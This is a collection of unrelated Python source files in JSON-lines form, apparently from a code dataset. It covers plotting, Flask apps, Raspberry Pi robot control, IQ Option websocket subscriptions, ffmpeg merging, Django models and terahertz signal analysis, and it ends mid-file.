+{"seq_id":"417643543","text":"from numpy import *\nimport matplotlib\nmatplotlib.use('Agg')\nfrom pylab import *\n\nimport os\nimport sys\n\ndef steppify(arr, is_x):\n\tnew_arr = zeros(2*len(arr))\n\tif is_x == 1:\n\t\tfor i in range(0, len(arr)):\n\t\t\tnew_arr[2*i] = arr[i]\n\t\t\tnew_arr[2*i + 1] = arr[i]\n\telse:\n\t\tfor i in range(0, len(arr)):\n\t\t\tif i == 0:\n\t\t\t\tnew_arr[i] = arr[i]\n\t\t\telse:\n\t\t\t\tnew_arr[2*i - 1] = arr[i]\n\t\t\t\tnew_arr[2*i] = arr[i]\n\t\t\t\tif i == len(arr) - 1:\n\t\t\t\t\tnew_arr[2*len(arr) - 1] = arr[i]\n\treturn new_arr\n\t\n\n\n\nE = sys.argv[1]\ndec = sys.argv[2]\nD = sys.argv[3]\ninjected_particle = sys.argv[4]\n\ninfile = str(\"/home/msm659/Elmag202/Spectra/spectrum_1e%s.%seV_%sMpc_100%s.dat\" % (E, dec, D, injected_particle))\noutfile = str(\"/home/msm659/Elmag202/Spectra/spectrum_1e%s.%seV_%sMpc_100%s.png\" % (E, dec, D, injected_particle))\n\ndata = loadtxt(infile)\n\nlogE = log10(data[:,0])\nN = data[:,1] + data[:,2]\nN_ph = data[:,1] \nN_ee = data[:,2]\n\nfigure(figsize=(12,12))\n\nstep(logE, N, label='Total')\nstep(logE, N_ph, label='Photons')\nstep(logE, N_ee, label='e+/-\\'s')\n\nfill_arrayx = logE[logical_and(logE >= 8, logE <= 11.91381)]\nfill_arrayx = steppify(fill_arrayx, 1)\nfill_arrayy = N_ph[logical_and(logE >= 8, logE <= 11.91381)]\nfill_arrayy = steppify(fill_arrayy, 0)\n\nfill_between(fill_arrayx, fill_arrayy, color='g', alpha=0.5)\n\nfill_arrayy = N_ee[logical_and(logE >= 8, logE <= 11.91381)]\nfill_arrayy = steppify(fill_arrayy, 0)\n\nfill_between(fill_arrayx, fill_arrayy, color='r', alpha=0.5)\n\nenergy = float(E) + float(dec)/10.\ndistance = float(D)\n\nfraction_call = str(\"python fraction_analysis.py %s 1e%s %s %s\" % (infile, E, dec, D))\nfraction = os.popen(fraction_call).read()\nfraction = fraction.split(\" \")[2]\n\nann = str(\"Total fraction of initial energy = %s\" % fraction)\n#annotate(ann, xy=(1,0.8), xycoords='axes fraction', horizontalalignment='right')\n\nif any(N_ph) or any(N_ee):\n\tyscale('log', nonposy='clip')\n\nxlabel('Energy log10(E/eV)')\nylabel ('E^2 dN/dE')\nif (injected_particle == \"ph\"):\n\tparticle_type = \"Photons\"\nelse:\n\tparticle_type = \"e+/-'s\"\n#title(str(\"10^%s.%s eV %s Initiated Spectrum after Traveling %s Mpc\" % (E, dec, particle_type, D)))\nlegend(loc=0)\nmatplotlib.rcParams.update({'font.size': 20})\n\n\ndraw()\n\nsavefig(outfile)\n","sub_path":"spectrum_plotter.py","file_name":"spectrum_plotter.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"370766253","text":"from flask import Flask, render_template\nfrom models.book import Book\n\napp = Flask(__name__) # 根路径指定为hello.py的位置\n# app.debug = True\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/books/')\ndef book_list():\n books = [\n Book('Python Flask', 59.00, 'Eason', '人民邮电出版社'),\n Book('Python Selenium', 59.00, 'Tom', '人民邮电出版社'),\n Book('Python 爬虫', 39.00, 'Eason', '北京大学出版社'),\n Book('Python 多线程', 49.00, 'Eason', '清华大学出版社'),\n Book('Python 语言', 29.00, 'Eason', '人民邮电出版社')\n ]\n return render_template('book-list.html', books=books)\n\n@app.route('/contact/')\ndef contact():\n html = \"\"\"\n \n \n \n \n Document\n \n \n

    联系我们

    \n \n \"\"\"\n return html\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"Flask/05-Request/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"13925421","text":"import sys\nfrom flask import Blueprint, request, jsonify\nfrom flaskApp import db\nfrom flaskApp.course.utils import *\nfrom flaskApp.course.GoogCalInteract import *\nfrom flaskApp.error.error_handlers import *\nimport json\n\ncourse = Blueprint('course', __name__)\n\n@course.route('/newCal', methods=['POST'])\ndef new_session():\n try:\n request_body = json.loads(request.get_data())\n print(str(request_body))\n id = DbCourseitemUtils.creatCal(request_body)\n return jsonify({'id' : str(id)}), 201\n\n except(BadRequest, NotFound) as e:\n return jsonify(e.body), e.status_code\n\n@course.route('/', methods=['GET', 'DELETE'])\ndef get_calender(calID):\n try:\n if request.method == 'DELETE':\n DbCourseitemUtils.delete_cal(calID)\n return jsonify({}), 204\n elif request.method == 'GET':\n res = DbCourseitemUtils.get_cal(calID)\n return jsonify(res), 200\n except (NotFound) as e:\n return jsonify(e.body), e.status_code\n\n@course.route('saveCal/', methods=['POST'])\ndef save_to_GCal(calID):\n try:\n request_body = json.loads(request.get_data())\n res = DbCourseitemUtils.get_cal(calID)\n GCalInteract.export_cal(res, request_body['userid'])\n return jsonify({}), 201\n except (NotFound, ValidationFailed) as e:\n return jsonify(e.body), e.status_code\n\n@course.route('//addClassHelp/', methods=['POST'])\ndef add_session(calID, courseIDSem):\n try:\n result = DbCourseitemUtils.add_helpTime(calID, courseIDSem)\n return jsonify(result), 201\n except (NotFound, ValidationFailed) as e:\n return jsonify(e.body), e.status_code\n\n@course.route('//removeClass/', methods=['DELETE'])\ndef delete_session(calID, courseID):\n try:\n DbCourseitemUtils.delete_classHelpTimes(calID, courseID)\n return jsonify({}), 204\n except (NotFound) as e:\n return jsonify(e.body), e.status_code\n\n@course.route('/addData', methods=['POST'])\ndef upload_data():\n try:\n request_body = json.loads(request.get_data())\n DbCourseitemUtils.add_new_data_to_db(request_body)\n return jsonify({}), 201\n except (NotFound, ValidationFailed, BadRequest) as e:\n return jsonify(e.body), e.status_code\n","sub_path":"parsy-backend/flaskApp/course/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"425040016","text":"#******************************************\n#*Programmers: Geff Freire and Kevin Mai *\n#*Program 4: A4.py *\n#*Lab 3 *\n#*Class: EEE 187L (Group Johnny 5) *\n#*Date: October 22, 2019 *\n#******************************************\n#forward function\ndef forward():\n print('go FWD')\n GPIO.output(out1,GPIO.HIGH)\n GPIO.output(out2,GPIO.LOW)\n GPIO.output(out3,GPIO.LOW)\n GPIO.output(out4,GPIO.HIGH)\n print(\"forward\")\n\n#backward function\ndef backward():\n print(\"go REV\")\n GPIO.output(out1,GPIO.LOW)\n GPIO.output(out2,GPIO.HIGH)\n GPIO.output(out3,GPIO.HIGH)\n GPIO.output(out4,GPIO.LOW)\n print(\"backwards\")\n\n#stop function\ndef stop():\n print(\"stop\")\n GPIO.output(out1,GPIO.LOW)\n GPIO.output(out2,GPIO.LOW)\n GPIO.output(out3,GPIO.LOW)\n GPIO.output(out4,GPIO.LOW)\n# Turn Left\ndef left():\n print(\"go left\")\n GPIO.output(out1,GPIO.HIGH)\n GPIO.output(out2,GPIO.LOW)\n GPIO.output(out3,GPIO.LOW)\n GPIO.output(out4,GPIO.LOW)\n print(\"left\")\n# Turn Right\ndef right():\n print(\"go right\")\n GPIO.output(out1,GPIO.LOW)\n GPIO.output(out2,GPIO.HIGH)\n GPIO.output(out3,GPIO.LOW)\n GPIO.output(out4,GPIO.HIGH)\n print(\"right\")\n\ndef straight():\n p.start(73)#right (Magic: 74 (p) and 79 (q)))\n q.start(79)\n\ndef forwardLeft():\n print(\"forward left\")\n p.start(73)#right (Magic: 74 (p) and 79 (q)))\n q.start(82)\n\ndef forwardRight():\n print(\"forward right\")\n p.start(76)\n q.start(79)\n\n#UltraSonic Functions\ndef ReadL():\n\t#print (\"Reading Left\")\n\t# set Trigger to HIGH\n\tGPIO.output(L_TRIGGER, True)\n \n # set Trigger after 0.01ms to LOW\n\ttime.sleep(0.00001)\n\tGPIO.output(L_TRIGGER, False)\n \n\tStartTime = time.time()\n\tStopTime = time.time()\n \n # save StartTime\n\twhile GPIO.input(L_ECHO) == 0:\n\t\tStartTime = time.time()\n \n # save time of arrival\n\twhile GPIO.input(L_ECHO) == 1:\n\t\tStopTime = time.time()\n\t#print (\"Left Math Time!\")\n # time difference between start and arrival\n\tTimeElapsed = StopTime - StartTime\n # multiply with the sonic speed (34300 cm/s)\n # and divide by 2, because there and back\n\tL_distance = (TimeElapsed * 34300) / 2\n \n\treturn L_distance\n\t\n\ndef ReadR():\n\t# set Trigger to HIGH\n\tGPIO.output(R_TRIGGER, True)\n\t#print(\"Reading Right\")\n # set Trigger after 0.01ms to LOW\n\ttime.sleep(0.00001)\n\tGPIO.output(R_TRIGGER, False)\n \n\tStartTime = time.time()\n\tStopTime = time.time()\n\t \n # save StartTime\n\twhile GPIO.input(R_ECHO) == 0:\n\t\tStartTime = time.time()\n # save time of arrival\n\twhile GPIO.input(R_ECHO) == 1:\n\t\tStopTime = time.time()\n\t#print(\"Right Math Time!\")\n # time difference between start and arrival\n\tTimeElapsed = StopTime - StartTime\n # multiply with the sonic speed (34300 cm/s)\n # and divide by 2, because there and back\n\tR_distance = (TimeElapsed * 34300) / 2\n\t\n\treturn R_distance \n\n#import\nimport RPi.GPIO as GPIO \nfrom time import sleep\nimport time\n\n#Pin Modes for I2C (for later)\n#I2CLK = 2\n#I2DAT = 3\n\n#L298 Bridge pin definitions\n#Outs are the Ins of the Bridge. \nout1 =20 #right wheel +\nout2 = 16 #right wheel -\nout3 = 12 #left wheel -\nout4 = 7 #left wheel +\nenA = 21 #enable 1 & 2\nenB = 8 #enable 3 & 4\n\n#QTI Pin Sensor Definitions \nleft_sensor = 13 #left QTI\ncenter_sensor = 19 #Center QTI\nright_sensor = 26 #right QTI\n\n#UltraSonics Definitions (4)\nR_TRIGGER=18\nR_ECHO=23\nL_ECHO=24\nL_TRIGGER=25\n\n#GPIO Setup\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\n\n#LN298D Bridge Control Pins\nGPIO.setup(out1,GPIO.OUT)\nGPIO.setup(out2,GPIO.OUT)\nGPIO.setup(enA,GPIO.OUT)\nGPIO.setup(out3,GPIO.OUT)\nGPIO.setup(out4,GPIO.OUT)\nGPIO.setup(enB,GPIO.OUT)\n\n#Motor Output Pins \nGPIO.output(out1,GPIO.LOW)\nGPIO.output(out2,GPIO.LOW)\nGPIO.output(out3,GPIO.LOW)\nGPIO.output(out4,GPIO.LOW)\n\n#Light Sensor Pins \nGPIO.setup(left_sensor, GPIO.IN)\nGPIO.setup(center_sensor, GPIO.IN)\nGPIO.setup(right_sensor, GPIO.IN)\n\n#UltraSonic Pin Setups\nGPIO.setup(L_TRIGGER, GPIO.OUT)\nGPIO.setup(R_TRIGGER, GPIO.OUT)\nGPIO.setup(L_ECHO, GPIO.IN)\nGPIO.setup(R_ECHO, GPIO.IN)\n\n#PWM Controllers\np=GPIO.PWM(enA,500) #original 500 for both A and B\nq=GPIO.PWM(enB,500)\n\n\n\n#start function\np.start(64)#right (Magic: 74 (p) and 79 (q)))\nq.start(79)#left \nprint(\"hi\\n\")\n#print(\"The default speed & direction of motor is LOW & Forward.....\")\n#print(\"g-go s-stop b-backward f-forward L_left R_right e-exit\")\n#print(\"\\n\") \n\nstraight()\n\t\t\n#HCSR04 Control Block\t\t\n\nwhile (1):\n\tR_dist = ReadR()\n\tL_dist = ReadL()\n\tprint (\"Distance Check! Left = {0:.1f} cm, Right = {1:.1f} cm\".format(L_dist, R_dist))\n\t#print (\"Measured Distance on Left Sensor= %.1f cm\" % L_dist)\n\t\n\t#print (\"Measured Distance on Right Sensor= %.1f cm\" % R_dist)\t\n\n\tif (L_dist < R_dist):\n\t\tprint (\"Going Right Around\")\n\t\tright()\n\t\tsleep(.2)\n\t\tstraight()\n\t\tsleep(.2)\n\n\telif (R_dist < L_dist):\n\t\tprint (\"Going Left Around\")\n\t\tleft()\n\t\tsleep(.2)\n\t\tstraight()\n\t\tsleep(.2)\n\telif (L_dist <=8) and (R_dist <=8):\n\t\tstop()\n\telse:\n\t\tstraight()\n\n","sub_path":"A4-F.py","file_name":"A4-F.py","file_ext":"py","file_size_in_byte":4914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"240010011","text":"\"\"\"Module for IQ option subscribe websocket chanel.\"\"\"\n\nfrom iqoptionapi.ws.chanels.base import Base\nimport datetime\nimport iqoptionapi.constants as OP_code\nclass Subscribe(Base):\n \"\"\"Class for IQ option candles websocket chanel.\"\"\"\n # pylint: disable=too-few-public-methods\n\n name = \"subscribeMessage\"\n\n def __call__(self, active_id,size):\n #{\"name\":\"subscribeMessage\",\"msg\":{\"name\":\"candle-generated\",\"params\":{\"routingFilters\":{\"active_id\":1,\"size\":1}}}}\n \n data = {\"name\":\"candle-generated\",\n \"params\":{\n \"routingFilters\":{\n \"active_id\":str(active_id),\n \"size\":int(size)\n }\n }\n }\n\n self.send_websocket_request(self.name, data)\n\nclass Subscribe_candles(Base):\n \"\"\"Class for IQ option candles websocket chanel.\"\"\"\n # pylint: disable=too-few-public-methods\n\n name = \"subscribeMessage\"\n\n def __call__(self, active_id):\n \n data = {\"name\":\"candles-generated\",\n \"params\":{\n \"routingFilters\":{\n \"active_id\":str(active_id)\n }\n }\n }\n\n self.send_websocket_request(self.name, data)\n\nclass Subscribe_Instrument_Quites_Generated(Base):\n name = \"subscribeMessage\"\n \n def __call__(self,ACTIVE,expiration_period): \n data = {\n \"name\": \"instrument-quotes-generated\",\n \"params\":{\n \"routingFilters\":{\n \"active\":int(OP_code.ACTIVES[ACTIVE]),\n \"expiration_period\":int(expiration_period*60),\n \"kind\":\"digital-option\",\n \n },\n },\n \"version\": \"1.0\"\n }\n self.send_websocket_request(self.name, data)\n\n def get_digital_expiration_time(self, duration):\n exp=int(self.api.timesync.server_timestamp)\n value = datetime.datetime.fromtimestamp(exp)\n minute = int(value.strftime('%M'))\n second=int(value.strftime('%S'))\n ans=exp-exp%60#delete second\n ans=ans+(duration-minute%duration)*60\n if exp>ans-10:\n ans=ans+(duration)*60\n \n return ans\n\n\nclass Subscribe_top_assets_updated(Base):\n name = \"subscribeMessage\"\n\n def __call__(self, instrument_type):\n \n data = {\"name\":\"top-assets-updated\",\n \"params\":{\n \"routingFilters\":{\n \"instrument_type\":str(instrument_type) \n \n }\n },\n \"version\":\"1.2\"\n }\n self.send_websocket_request(self.name, data)\n\n\n\n\"\"\"\n{\"name\":\"subscribeMessage\",\"request_id\":\"s_114\",\"msg\":{\"name\":\"commission-changed\",\"version\":\"1.0\",\"params\":{\"routingFilters\":{\"instrument_type\":\"digital-option\",\"user_group_id\":1}}}}\n\"\"\"\n#instrument_type: \"binary-option\"/\"turbo-option\"/\"digital-option\"/\"crypto\"/\"forex\"/\"cfd\"\nclass Subscribe_commission_changed(Base):\n name = \"subscribeMessage\"\n def __call__(self, instrument_type):\n \n data = {\"name\":\"commission-changed\",\n \"params\":{\n \"routingFilters\":{\n \"instrument_type\":str(instrument_type) \n }\n },\n \"version\":\"1.0\"\n }\n self.send_websocket_request(self.name, data)\n\n \nclass NewFeatures(Base):\n name = \"subscribeMessage\"\n def __call__(self):\n\n data ={\"name\":\"request-leaderboard-deals-client\",\"version\":\"1.0\",\"body\":{\"country_id\":0,\"user_country_id\":212,\"from_position\":0,\"to_position\":64,\"near_traders_country_count\":64,\"near_traders_count\":64,\"top_country_count\":64,\"top_count\":64,\"top_type\":2}}\n\n self.send_websocket_request(\"sendMessage\", data)\n\n data ={\"name\":\"update-user-availability\",\"version\":\"1.1\",\"body\":{\"platform_id\":\"9\",\"idle_duration\":18,\"selected_asset_id\":8,\"selected_asset_type\":3}}\n\n self.send_websocket_request(\"sendMessage\", data)\n\n data ={\"name\":\"request-leaderboard-userinfo-deals-client\",\"version\":\"1.0\",\"body\":{\"requested_user_id\":53940937,\"country_ids\":[0]}}\n\n self.send_websocket_request(\"sendMessage\", data)\n\n data ={\"name\":\"expiration-top-computed\",\"version\":\"1.0\",\"params\":{\"routingFilters\":{\"instrument_type\":\"turbo\",\"asset_id\":\"7\"}}}\n\n self.send_websocket_request(\"subscribeMessage\", data)\n\n data ={\"name\":\"expiration-top-computed\",\"version\":\"1.0\",\"params\":{\"routingFilters\":{\"instrument_type\":\"turbo\",\"asset_id\":\"8\"}}}\n\n self.send_websocket_request(\"subscribeMessage\", data)\n\n data ={\"name\":\"expiration-top-computed\",\"version\":\"1.0\",\"params\":{\"routingFilters\":{\"instrument_type\":\"turbo\",\"asset_id\":\"6\"}}}\n\n self.send_websocket_request(\"subscribeMessage\", data)\n\n\n data ={\"name\":\"live-deal-binary-option-placed\",\"version\":\"1.0\",\"params\":{\"routingFilters\":{\"instrument_type\":\"turbo\",\"asset_id\":\"6\"}}}\n\n self.send_websocket_request(\"subscribeMessage\", data)\n\n test_user = 50748012 #top1\n data ={\"name\":\"portfolio.order-changed\",\"version\":\"1.0\",\"params\":{\"routingFilters\":{\"user_id\":test_user,\"instrument_type\":\"turbo\"}}}\n\n self.send_websocket_request(\"subscribeMessage\", data)\n\n data ={\"name\":\"portfolio.position-changed\",\"version\":\"2.0\",\"params\":{\"routingFilters\":{\"user_id\":test_user,\"user_balance_id\":191511597,\"instrument_type\":\"turbo-option\"}}}\n\n self.send_websocket_request(\"subscribeMessage\", data)\n\n data ={\"name\":\"deals-top-user-moved-up\",\"params\":{\"routingFilters\":{\"user_id\":40624085}}}\n\n self.send_websocket_request(\"subscribeMessage\", data)\n\n data ={\"name\":\"instruments-changed\",\"version\":\"5.0\",\"params\":{\"routingFilters\":{\"user_group_id\":191,\"type\":\"forex\",\"is_regulated\":false}}}\n\n self.send_websocket_request(\"subscribeMessage\", data)\n\n\n data ={\"name\":\"profit-top-user-moved-up\",\"version\":\"1.0\"}\n\n self.send_websocket_request(\"subscribeMessage\", data)\n\n\n data ={\"name\":\"instrument-quotes-generated\",\"version\":\"1.0\",\"params\":{\"routingFilters\":{\"active\":5,\"kind\":\"digital-option\",\"expiration_timestamp\":1582127160,\"expiration_period\":60}}}\n\n self.send_websocket_request(\"subscribeMessage\", data)\n","sub_path":"iqoptionapi/ws/chanels/subscribe.py","file_name":"subscribe.py","file_ext":"py","file_size_in_byte":6570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"240915517","text":"# ffmpeg -i video.m4s -i audio.m4s -codec copy outname.mp4\n# 上面是ffmpeg 合并 视频和声音的 命令\n\nimport shutil\nimport os\nimport json\n\n# 合并\nfiles = os.listdir()\nfor file in files:\n\tif os.path.isdir(file):\n\t\tos.chdir('./' + file)\n\t\twith open('./entry.json','r', encoding='UTF-8') as f:\n\t\t\tdata = json.load(f)\n\t\t\ttitle = data['page_data']['part']\n\t\tos.chdir('./80')\n\t\ttemp = (str(title) + '.mp4').replace(' ','-')\t\t\n\t\tos.system('ffmpeg -i video.m4s -i audio.m4s -codec copy '+temp)\n\t\tos.system('move '+ temp+ ' ../../')\n\t\tos.chdir('../')\n\t\tos.chdir('../')\n\n#删除文件夹\nfiles = os.listdir()\nfor file in files:\n\tif os.path.isdir(file):\n\t\t#删除文件夹需要用到shutil 库\n\t\tshutil.rmtree(file)\n","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"525854334","text":"import random\nimport unittest\n\nfrom insertion_sort import insertion_sort\n\n\nclass InsertionSortTest(unittest.TestCase):\n\n def setUp(self):\n\n self.array = [random.choice(range(1, 100)) for x in range(1000)]\n\n def testInsertionSort(self):\n expected = sorted(self.array)\n\n self.assertEquals(expected, insertion_sort(self.array))\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/insertion_sort_test.py","file_name":"insertion_sort_test.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"553375116","text":"from pymongo import MongoClient\nclient = MongoClient('mongodb://localhost:27017/')\nimport config\ndb = client[config.database]\nmongoChat = db.twitchMessages\nfrom bson.objectid import ObjectId\n\nclass YouTubeMessageFromTwitch(object):\n def __init__(self, bot):\n self.botId = bot\n\n def getNextMessageToSend(self):\n self.mongoDocument = mongoChat.find_one({\"sent\": False, \"bot_id\": ObjectId(self.botId)})\n\n def markSent(self):\n result = mongoChat.update_one(\n {\"_id\": self.mongoDocument['_id']},\n {\n \"$set\": {\n \"sent\": True\n },\n \"$currentDate\": {\"lastModified\": True}\n }\n )\n","sub_path":"twitchtube/youtube/youtube_message_from_twitch.py","file_name":"youtube_message_from_twitch.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"328411561","text":"from django.db import models\nfrom django.db.models.signals import post_save, post_delete\nfrom django.dispatch import receiver\n\nfrom social_auth.signals import pre_update\nfrom social_auth.backends.facebook import FacebookBackend\nfrom social_auth.models import UserSocialAuth\n\nfrom notification.models import Notification\n\nimport facebook\n\nclass Forward(models.Model):\n source_id = models.BigIntegerField(db_index=True)\n destination_id = models.BigIntegerField()\n updated_at = models.DateTimeField(auto_now=True)\n\n def __unicode__(self):\n return \"User #%s following User #%s\" % (self.source_id,\n self.destination_id)\n\nclass Backward(models.Model):\n destination_id = models.BigIntegerField(db_index=True)\n source_id = models.BigIntegerField()\n updated_at = models.DateTimeField(auto_now=True)\n \n def __unicode__(self):\n return \"User #%s following User #%s\" % (self.source_id,\n self.destination_id)\n\n@receiver(pre_update, sender=FacebookBackend)\ndef build_social_graph(sender, user, response, details, **kwargs):\n \"\"\"\n Update user social graph using Facebook friends.\n \"\"\"\n social_user = user.social_auth.get(provider='facebook')\n graph = facebook.GraphAPI(social_user.extra_data['access_token'])\n friends = graph.get_connections(\"me\", \"friends\")['data']\n friend_ids = [friend['id'] for friend in friends]\n signed_up = UserSocialAuth.objects.filter(\n uid__in=friend_ids).values_list('user_id', flat=True)\n already_following = Forward.objects.filter(\n source_id=user.id).values_list('destination_id', flat=True)\n to_add = list(set(signed_up) - set(already_following))\n\n forward_rel = [Forward(source_id=user.id, destination_id=fid)\n for fid in to_add]\n forward_rel += ([Forward(source_id=fid, destination_id=user.id)\n for fid in to_add])\n backward_rel = [Backward(destination_id=fid, source_id=user.id)\n for fid in to_add]\n backward_rel += ([Backward(destination_id=user.id, source_id=fid)\n for fid in to_add])\n Forward.objects.bulk_create(forward_rel)\n Backward.objects.bulk_create(backward_rel)\n\n@receiver(post_save, sender=Backward)\ndef follow_notification(sender, instance, created, **kwargs):\n if created:\n Notification.objects.create(\n sender_id=instance.source_id,\n recipient_id=instance.destination_id,\n notice_object=instance\n )\n\n@receiver(post_delete, sender=Backward)\ndef unfollow_notification(sender, instance, **kwargs):\n \"\"\"\n Delete the notification that was already created.\n \"\"\"\n Notification.objects.get(\n sender_id=instance.source_id,\n recipient_id=instance.destination_id,\n object_id=instance.id\n ).delete()\n","sub_path":"mavenize-beta/apps/social_graph/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"396678204","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreate Time: 2021/10/26 9:19\nAuthor: Kevin\nPython Version:3.7.6\n\"\"\"\nimport mmap\nimport contextlib\nimport struct\nimport time\nimport numpy as np\nfrom FrequencyAnalysisUtil import (convertToFrequency,unpackData,\n\t\t\t\t\t\t\t\t obtain_config,obtain_version)\nfrom SampleProperties import SampleProperties\nimport os\nimport shutil\nfrom scipy import signal\nimport re\nfrom scipy.signal import savgol_filter\nimport pywt\nfrom AtrProperties import AtrProperties\nfrom FrequencyAnalysisUtil import truncateTimeSeries\nimport ReflectionProperties\nfrom PIL import Image\n\ndef rmFiles():\n\tpath = r'C:\\Windows\\Temp\\thzcache'\n\tif not os.path.exists(path):\n\t\tos.makedirs(path)\n\ttry:\n\t\tif len(os.listdir(path)) > 1:\n\t\t\tfor file in os.listdir(path):\n\t\t\t\tdelete_time = time.time()\n\t\t\t\tpath1 = os.path.join(path,file)\n\t\t\t\tfile_time = os.path.getctime(path1)\n\t\t\t\tif delete_time - file_time > 60 * 10:\n\t\t\t\t\tshutil.rmtree(path1)\n\texcept Exception as e:\n\t\twith open(os.path.join(\"C:\\\\thztools\", 'alglog.txt'), 'a+', encoding='utf-8') as ff:\n\t\t\tff.write(str(time.strftime(\"%Y-%m-%d %X\", time.localtime())) + str(e) + '\\n')\n\n\ndef getData(f,ns_real,ns_imag,e_real,e_imag):\n\tnum_f = len(f)\n\tnum_ns = len(ns_real)\n\tif num_f > num_ns:\n\t\tf = f[0:num_ns]\n\telif num_ns > num_f:\n\t\tns_real = ns_real[0:num_f]\n\t\tns_imag = ns_imag[0:num_f]\n\t\te_real = e_real[0:num_f]\n\t\te_imag = e_imag[0:num_f]\n\n\tns_real = ns_real[f <= 10]\n\tns_imag = ns_imag[f <= 10]\n\te_real = e_real[f <= 10]\n\te_imag = e_imag[f <= 10]\n\tf = f[f <= 10]\n\n\treturn f,ns_real,ns_imag,e_real,e_imag\n\ndef getFilter(t_value,ref_value):\n\tpath =r'C:\\thztools\\thz\\config.txt'\n\tsg = 0\n\tdwt = 0\n\ttry:\n\t\tif os.path.exists(path):\n\t\t\twith open(path, 'r', encoding='utf-8') as f:\n\t\t\t\tfor line in f:\n\t\t\t\t\tif line[0] == '#':\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tif 'SG' in line:\n\t\t\t\t\t\tsg = int(re.findall(r\"\\d+\\.?\\d*\", line)[0])\n\t\t\t\t\tif 'dwt' in line:\n\t\t\t\t\t\tdwt = int(re.findall(r\"\\d+\\.?\\d*\", line)[0])\n\t\t\t\t\tif 'wave_name' in line:\n\t\t\t\t\t\tdwt_name = line.split(\"=\")[-1]\n\t\t\t\t\t\tdwt_name = dwt_name.replace(\" \", \"\")\n\t\t\t\t\t\tdwt_name = dwt_name.replace(\"\\r\", \"\")\n\t\t\t\t\t\tdwt_name = dwt_name.replace(\"\\n\", \"\")\n\t\tif sg not in [0, 1, 2]:\n\t\t\tsg = 0\n\t\tif dwt not in [0,1]:\n\t\t\tdwt = 0\n\texcept Exception as e:\n\t\twith open(os.path.join(\"C:\\\\thztools\", 'alglog.txt'), 'a+', encoding='utf-8') as ff:\n\t\t\tff.write(str(time.strftime(\"%Y-%m-%d %X\", time.localtime())) + str(e) + '\\n')\n\n\tif sg == 1:\n\t\tref_value = savgol_filter(ref_value, 5, 3)\n\telif sg == 2:\n\t\tref_value = savgol_filter(ref_value, 25, 5)\n\n\tif dwt == 1:\n\t\twavelists = []\n\n\t\tfor family in pywt.families():\n\t\t\tfor i in range(len(pywt.wavelist(family))):\n\t\t\t\twavelists.append(pywt.wavelist(family)[i])\n\t\tif dwt_name in wavelists:\n\t\t\tdata_peak = signal.find_peaks(ref_value, np.max(ref_value) / 2)\n\n\t\t\twin = signal.windows.gaussian(len(ref_value), int(len(t_value[t_value <= 100]) / 2) + 2)\n\t\t\twin_peak = signal.find_peaks(win, np.max(win) / 2)\n\n\t\t\tif data_peak[0][0] < win_peak[0][0]:\n\t\t\t\tnum = win_peak[0][0] - data_peak[0][0]\n\t\t\t\twin_1 = win[num:]\n\t\t\t\twin_2 = np.append(win_1, np.zeros(num))\n\t\t\telse:\n\t\t\t\tnum = data_peak[0][0] - win_peak[0][0]\n\t\t\t\twin_1 = np.append(np.zeros(num), win)\n\t\t\t\twin_2 = win_1[0:len(ref_value)]\n\t\t\tref_value = win_2 * ref_value\n\t\t\ttry:\n\t\t\t\tnum = ref_value.shape[0]\n\t\t\t\tmcoeffs = pywt.wavedec(ref_value,dwt_name, mode='symmetric', level=5)\n\n\t\t\t\tfor k in range(1, len(mcoeffs)):\n\t\t\t\t\tvalue = np.sqrt(2 * np.log(ref_value.shape[0]))\n\t\t\t\t\tmcoeffs[k] = pywt.threshold(np.array(mcoeffs[k]), value=value, mode='soft')\n\t\t\t\tref_value = pywt.waverec(mcoeffs, wavelet=dwt_name, mode='symmetric')\n\t\t\t\tif ref_value.shape[0] > num:\n\t\t\t\t\tref_value = ref_value[0:num]\n\t\t\t\telse:\n\t\t\t\t\tref_value = np.append(ref_value, np.zeros(ref_value.shape[0] - num))\n\t\t\texcept Exception as e:\n\t\t\t\twith open(os.path.join(\"C:\\\\thztools\", 'alglog.txt'), 'a+', encoding='utf-8') as ff:\n\t\t\t\t\tff.write(str(time.strftime(\"%Y-%m-%d %X\", time.localtime())) + str(e) + '\\n')\n\treturn ref_value\n\n\ndef calFrequency(s, m ,s_length):\n\tm.seek(1)\n\tm.write(bytes([2]))\n\tm.seek(0)\n\tlist_length = (len(s) - 6) // 8\n\tpython_value = struct.unpack(\"d\" * list_length, s[6:(6 + list_length * 8)])\n\tpython_value = np.asarray(python_value).reshape(list_length)\n\n\tt_value = python_value[0:int(list_length / 2)]\n\tref_value = python_value[int(list_length / 2):]\n\n\tref_value = getFilter(t_value,ref_value)\n\n\tfRange, xfRange = convertToFrequency(t_value, ref_value)\n\txfRange = np.array(xfRange)\n\tfRange = np.array(fRange)\n\txfRange = xfRange[0:int(np.floor(xfRange.shape[0] / 2))]\n\tfRange = fRange[0:int(np.floor(fRange.shape[0] / 2))]\n\tif np.max(xfRange[fRange>0.1]) < 0:\n\t\txfRange[fRange>0.1] = 